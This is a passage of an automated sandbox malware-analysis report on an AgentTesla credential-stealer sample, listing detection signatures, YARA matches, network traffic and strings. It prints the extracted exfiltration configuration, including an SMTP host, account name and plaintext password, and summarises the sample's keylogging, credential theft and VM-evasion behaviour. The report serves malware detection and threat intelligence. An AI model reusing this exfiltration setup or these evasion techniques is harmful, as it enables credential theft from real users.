Edit tour

Windows Analysis Report
LisectAVT_2403002A_52.exe

Overview

General Information

Sample name:	LisectAVT_2403002A_52.exe
Analysis ID:	1482189
MD5:	52cb8bfa6bc3ffa539d9aba0ada28842
SHA1:	12421664688e01c7500cb7c82fc67672558c6ff3
SHA256:	dadafd098dc94e3706b0e84b36042b4dced32a372c4b086d85df4a23943b88ac
Tags:	exeFormbook
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

LisectAVT_2403002A_52.exe (PID: 2748 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe" MD5: 52CB8BFA6BC3FFA539D9ABA0ADA28842)

LisectAVT_2403002A_52.exe (PID: 6380 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002A_52.exe" MD5: 52CB8BFA6BC3FFA539D9ABA0ADA28842)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.thanhancompony.com", "Username": "holger.werth@thanhancompony.com", "Password": "aSkIhV^3"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.4472594984.00000000029AE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: LisectAVT_2403002A_52.exe PID: 2748	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: LisectAVT_2403002A_52.exe PID: 6380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: LisectAVT_2403002A_52.exe PID: 6380	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3320b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3327d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33307:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33399:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33403:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33475:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3350b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3359b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3320b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3327d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33307:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33399:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33403:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33475:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3350b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3359b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.LisectAVT_2403002A_52.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.LisectAVT_2403002A_52.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.LisectAVT_2403002A_52.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.LisectAVT_2403002A_52.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3500b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3507d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35107:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35199:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35203:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35275:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3530b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3539b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3500b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7142b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3507d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7149d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35107:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71527:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35199:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x715b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35203:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71623:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35275:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x71695:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3530b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7172b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3539b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x717bb:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3500b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7162b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xada4b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3507d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7169d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xadabd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35107:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71727:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xadb47:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x35199:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x717b9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xadbd9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35203:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71823:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xadc43:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x35275:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x71895:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xadcb5:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3530b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7192b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xadd4b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.198.143, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe, Initiated: true, ProcessId: 6380, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49708

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T19:18:03.679925+0200
SID:	2022930
Source Port:	443
Destination Port:	49712
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.68.123.157 - Destination IP: 192.168.2.5

Timestamp:	2024-07-25T19:18:42.168834+0200
SID:	2022930
Source Port:	443
Destination Port:	49719
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: LisectAVT_2403002A_52.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://smtp.thanhancompony.com

Avira URL Cloud: Label: malware

Found malware configuration

Source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.thanhancompony.com", "Username": "holger.werth@thanhancompony.com", "Password": "aSkIhV^3"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: LisectAVT_2403002A_52.exe

Joe Sandbox ML: detected

Source: LisectAVT_2403002A_52.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: LisectAVT_2403002A_52.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: NutW.pdb source: LisectAVT_2403002A_52.exe
Source:	Binary string: NutW.pdbSHA256 source: LisectAVT_2403002A_52.exe

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49708 -> 208.91.198.143:587

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.91.198.143 208.91.198.143
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: TUT-ASUS TUT-ASUS

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.5:49708 -> 208.91.198.143:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: smtp.thanhancompony.com

Source: LisectAVT_2403002A_52.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: LisectAVT_2403002A_52.exe	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002951000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: LisectAVT_2403002A_52.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029D6000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D0E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.thanhancompony.com
Source: LisectAVT_2403002A_52.exe	String found in binary or memory: http://tempuri.org/Locations.xsdkServer=ARCHIT;Database=Sample;Trusted_Connection=TrueUPlease
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029D6000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D0E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002DAB000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.00000000029C4000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4472594984.0000000002D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: LisectAVT_2403002A_52.exe	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, l8rGfzxi.cs	.Net Code: _8em
Source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, l8rGfzxi.cs	.Net Code: _8em

Installs a global keyboard hook

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 0_2_00A9DFCC	0_2_00A9DFCC
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 0_2_02352F24	0_2_02352F24
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_02924330	3_2_02924330
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0292A6A8	3_2_0292A6A8
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0292EE80	3_2_0292EE80
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0292AE68	3_2_0292AE68
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_02923FE8	3_2_02923FE8
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_02924C00	3_2_02924C00
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06647E48	3_2_06647E48
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_066466C0	3_2_066466C0
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06645688	3_2_06645688
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06642438	3_2_06642438
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0664C260	3_2_0664C260
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0664B308	3_2_0664B308
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06647768	3_2_06647768
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_0664E480	3_2_0664E480
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06645DC8	3_2_06645DC8
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06640040	3_2_06640040
Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe	Code function: 3_2_06640038	3_2_06640038

Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2022896247.0000000006A70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2019503270.000000000086E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000000.00000000.1996582834.000000000016C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNutW.exeX vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020003772.0000000002522000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamec9068e07-2280-46f8-aac1-0dfb13d8304a.exe4 vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamec9068e07-2280-46f8-aac1-0dfb13d8304a.exe4 vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4471298509.0000000000B59000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe, 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamec9068e07-2280-46f8-aac1-0dfb13d8304a.exe4 vs LisectAVT_2403002A_52.exe
Source: LisectAVT_2403002A_52.exe	Binary or memory string: OriginalFilenameNutW.exeX vs LisectAVT_2403002A_52.exe

Source: LisectAVT_2403002A_52.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.LisectAVT_2403002A_52.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.LisectAVT_2403002A_52.exe.37e12d8.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: LisectAVT_2403002A_52.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, N1EZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, arzrv9AWTXK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, arzrv9AWTXK.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, InmxgXcIi8d.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.LisectAVT_2403002A_52.exe.37a4cb8.7.raw.unpack, InmxgXcIi8d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, k8NhOcl5rOqbRfggyX.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, k8NhOcl5rOqbRfggyX.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: _0020.SetAccessControl
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_52.exe.38abc90.8.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: _0020.AddAccessRule
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: _0020.SetAccessControl
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.LisectAVT_2403002A_52.exe.6a70000.12.raw.unpack, sTGsWV1GJpy2U01jre.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@2/2

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\LisectAVT_2403002A_52.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_52.exe

Mutant created: NULL

Source: LisectAVT_2403002A_52.exe

